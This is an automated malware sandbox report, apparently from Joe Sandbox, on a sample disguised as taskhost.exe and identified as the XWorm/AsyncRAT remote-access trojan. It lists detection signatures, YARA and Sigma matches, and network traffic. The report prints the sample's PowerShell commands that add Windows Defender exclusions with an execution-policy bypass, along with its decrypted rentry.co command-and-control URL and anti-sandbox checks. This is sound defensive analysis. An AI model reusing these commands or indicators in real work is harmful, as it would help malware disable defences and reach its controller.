Edit tour

Windows Analysis Report
taskhost.exe

Overview

General Information

Sample name:	taskhost.exe
Analysis ID:	1574512
MD5:	3296704171fe01c0fc4fcdd02f2695ca
SHA1:	e0bd82f06d94c0e32d7f6bb9f80f57f8e73a84be
SHA256:	b8c65f4588d2d9b76823e7ad22b71a3717792a505a4048314cb2ccba9a976e26
Tags:	AsyncRATexeStealCuser-lontze7
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Check if machine is in data center or colocation facility

Connects to a pastebin service (likely for C&C)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: System File Execution Location Anomaly

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

taskhost.exe (PID: 6504 cmdline: "C:\Users\user\Desktop\taskhost.exe" MD5: 3296704171FE01C0FC4FCDD02F2695CA)

powershell.exe (PID: 7456 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7816 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskhost.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
taskhost.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
taskhost.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
taskhost.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb9bc:$s6: VirtualBox 0xb91a:$s8: Win32_ComputerSystem 0xdb0a:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xdba7:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xdcbc:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xcc34:$cnc4: POST / HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1261092658.0000000000B02000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000000.1261092658.0000000000B02000.00000002.00000001.01000000.00000003.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb7bc:$s6: VirtualBox 0xb71a:$s8: Win32_ComputerSystem 0xd90a:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd9a7:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xdabc:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xca34:$cnc4: POST / HTTP/1.1
Process Memory Space: taskhost.exe PID: 6504	JoeSecurity_XWorm	Yara detected XWorm	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.taskhost.exe.b00000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.taskhost.exe.b00000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.0.taskhost.exe.b00000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb9bc:$s6: VirtualBox 0xb91a:$s8: Win32_ComputerSystem 0xdb0a:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xdba7:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xdcbc:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xcc34:$cnc4: POST / HTTP/1.1

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\taskhost.exe", ParentImage: C:\Users\user\Desktop\taskhost.exe, ParentProcessId: 6504, ParentProcessName: taskhost.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe', ProcessId: 7456, ProcessName: powershell.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\Desktop\taskhost.exe", CommandLine: "C:\Users\user\Desktop\taskhost.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\taskhost.exe, NewProcessName: C:\Users\user\Desktop\taskhost.exe, OriginalFileName: C:\Users\user\Desktop\taskhost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Users\user\Desktop\taskhost.exe", ProcessId: 6504, ProcessName: taskhost.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\taskhost.exe", ParentImage: C:\Users\user\Desktop\taskhost.exe, ParentProcessId: 6504, ParentProcessName: taskhost.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe', ProcessId: 7456, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\taskhost.exe", ParentImage: C:\Users\user\Desktop\taskhost.exe, ParentProcessId: 6504, ParentProcessName: taskhost.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe', ProcessId: 7456, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\taskhost.exe", CommandLine: "C:\Users\user\Desktop\taskhost.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\taskhost.exe, NewProcessName: C:\Users\user\Desktop\taskhost.exe, OriginalFileName: C:\Users\user\Desktop\taskhost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Users\user\Desktop\taskhost.exe", ProcessId: 6504, ProcessName: taskhost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T11:50:02.449310+0100	2803305	3	Unknown Traffic	192.168.2.7	49914	104.26.2.16	443	TCP
2024-12-13T11:50:11.197865+0100	2803305	3	Unknown Traffic	192.168.2.7	49937	104.26.2.16	443	TCP
2024-12-13T11:50:15.492597+0100	2803305	3	Unknown Traffic	192.168.2.7	49943	104.26.2.16	443	TCP
2024-12-13T11:50:26.711757+0100	2803305	3	Unknown Traffic	192.168.2.7	49976	104.26.2.16	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: taskhost.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: taskhost.exe

ReversingLabs: Detection: 78%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: taskhost.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: taskhost.exe	String decryptor: https://rentry.co/ue6sxoup/raw
Source: taskhost.exe	String decryptor: C^}'$Nv6G!-4Aq);8z8?
Source: taskhost.exe	String decryptor: <Xwormmm>
Source: taskhost.exe	String decryptor: USB.exe

Source: taskhost.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.26.2.16:443 -> 192.168.2.7:49762 version: TLS 1.2

Source: taskhost.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: rentry.co

Yara detected Generic Downloader

Source: Yara match	File source: taskhost.exe, type: SAMPLE
Source: Yara match	File source: 0.0.taskhost.exe.b00000.0.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.co
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.co
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.co
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.co
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49914 -> 104.26.2.16:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49943 -> 104.26.2.16:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49937 -> 104.26.2.16:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49976 -> 104.26.2.16:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.co
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.co
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.co
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.co
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ue6sxoup/raw HTTP/1.1Host: rentry.coConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: rentry.co

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:49:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yJCzXQ3zkby6SjutzzLQIApXZWRP%2FCa6jcqFt0V5MnWYnRIo5UxaE7UMm%2BaqWe%2Ft1j7p20ZbQ8bwdUze3xLibvlTPoxcwq%2BeYrEqUfNWCHX0f5gSV%2BwxE4C9NA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1562988ccec356-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1680&min_rtt=1678&rtt_var=634&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1717647&cwnd=153&unsent_bytes=0&cid=23b471d515436138&ts=1094&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:49:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nqh2ifxraV2eHphC0rz5C0RqucWc9os%2BdLQOeG2y8rdHr9520zOcF1Cduo4SU4LgkZ7CCuF%2BMP6obT5hh5IKslKipym7ZERLDu5%2Fpa2T3HlHkqaSzU520Khhmg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1562b7ffda1a44-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1881&min_rtt=1881&rtt_var=706&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1549071&cwnd=128&unsent_bytes=0&cid=adc4055d90e59e5e&ts=797&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:49:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vo7ztOkbDbrDmzeIPyI2muJ7avP4mI6zI5SZHkc1eA%2BLUAUNVnNwYDRchMJpt6P4ZwT3xqzEsUrJnMnu8fU9KSjsesMwrJzoJCNfUQ3DZuBgWN3vExUqou%2Bxkg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1562d768326a52-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1633&min_rtt=1632&rtt_var=614&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1780487&cwnd=210&unsent_bytes=0&cid=acb32cf043ec59ec&ts=811&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:49:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HMG3ssmp6qYTSfPiMSHGdthhNruBVPNsVGcx7b5P9OHr%2FYiVvmpSv7DmFzXHC2CF60VhqKZwtPovKc2s2qSJUg7KQE2zJT7nrdNOQccZKHTFG17pUHlxVlNkkA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1562f75c00c3f3-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1526&min_rtt=1521&rtt_var=580&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2816&recv_bytes=685&delivery_rate=1869398&cwnd=190&unsent_bytes=0&cid=71ce6182055a44e3&ts=813&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:49:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NUzhzd%2FP4pDZoXakiJ6cZfmuf3jSbFkHrC%2FgxvkAipp3s7vWgXlqykUGgj7xn86yUgFqdKgLpT%2BNT9jqSc%2BG1VcPl0gODuu2N%2FmqBdtkj3dpk0Y0okX3b7mitQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f156316cf738cb4-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=2012&min_rtt=2007&rtt_var=762&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1426477&cwnd=189&unsent_bytes=0&cid=9bf5b7b002d032e7&ts=823&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:49:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1wKiZChZkdQPNl4JotC2VIEVHZChdO3yu%2BWcrHMhc14bx8KLileVosDtbTPDVU9aPVxlI4bK8J%2BPBvyqcHLWfuFRpbibjBT%2B1c%2Fz7qq6aOLBogi3rPmliWPLSQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1563364ddb41d2-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1613&min_rtt=1612&rtt_var=606&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1801357&cwnd=251&unsent_bytes=0&cid=8269f3d10fcaaf1b&ts=797&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:49:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vjMi5qQhrnRArk4%2Bjapr95QF3tFFeNTTNJ3rQ4SuDhFR77xBl7%2B7DxZeHGZZicQCBVLkG%2FJ9LFLs%2FU5Sty0q%2B079RZqMIXW5%2FJQRtiY5gg8auxEg7vTlVCaNHA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f156355ab91c331-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1664&min_rtt=1649&rtt_var=629&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1770770&cwnd=79&unsent_bytes=0&cid=3b8c0c32577c3098&ts=806&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:49:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aWp5dp5s8Mg0j9oQd9rdFOwJwTVlP4LF%2By1SbFmsCuMWQOIuHtdKL7%2FD8EmmRdFkgxNeBL4kXPCt82lP%2Fzm56VCSGdt%2B2HzouN1co4fWIi1%2FaTBfQTmSOKfruQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1563750906de9a-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1513&min_rtt=1513&rtt_var=569&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1921052&cwnd=209&unsent_bytes=0&cid=30b89b07403da010&ts=811&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 10:49:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Originx-xss-protection: 1; mode=blockstrict-transport-security: max-age=31536000; includeSubDomainsCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VU9fcuE5u0TyThzOgaml8duM%2B%2Fc7VzwsECtxH5Y6xcIDIbrG1mtAOwgFeWeagLz5lO5VTGBrax2ulNNW%2FY2D%2F6eqLUb335BILLbaYZF%2BD4azJFyNoZu0tI%2FO4w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f1563959ed90f46-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1638&rtt_var=637&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=685&delivery_rate=1782661&cwnd=226&unsent_bytes=0&cid=2bd371121d77cc32&ts=803&x=0"
